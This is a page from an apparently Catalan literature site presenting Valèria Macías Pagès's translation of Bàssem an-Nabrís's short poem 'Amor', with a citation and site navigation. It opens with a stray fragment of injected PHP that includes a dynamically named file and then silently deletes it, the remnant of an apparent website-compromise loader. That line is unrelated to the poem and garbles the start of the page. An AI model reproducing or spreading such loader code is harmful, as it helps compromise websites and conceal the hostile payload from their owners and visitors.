");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Amor
Facebook Twitter
Portada > Literatura universal en català > Bàssem an-Nabrís

Amor

Traducció de Valèria Macías Pagès

Dic a la llagosta: germana!,
i al tudó: amic!

Dic: tu que tens la llum del cel,
dóna-me’n més
perquè pugui estimar
totes les pedres i
totes les persones del meu camí.

Bàssem an-Nabrís, Totes les pedres. Calonge [Mallorca]: AdiA, 2014, p.43.
Bàssem an-Nabrís, 2012. Foto: Víctor P. de Óbanos.
Fragments
Amor
Valèria Macías Pagès
Oh, pare… se’n van anar als núvols
Valèria Macías Pagès
Prevenció
Valèria Macías Pagès
Bibliografia
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Amb el suport de: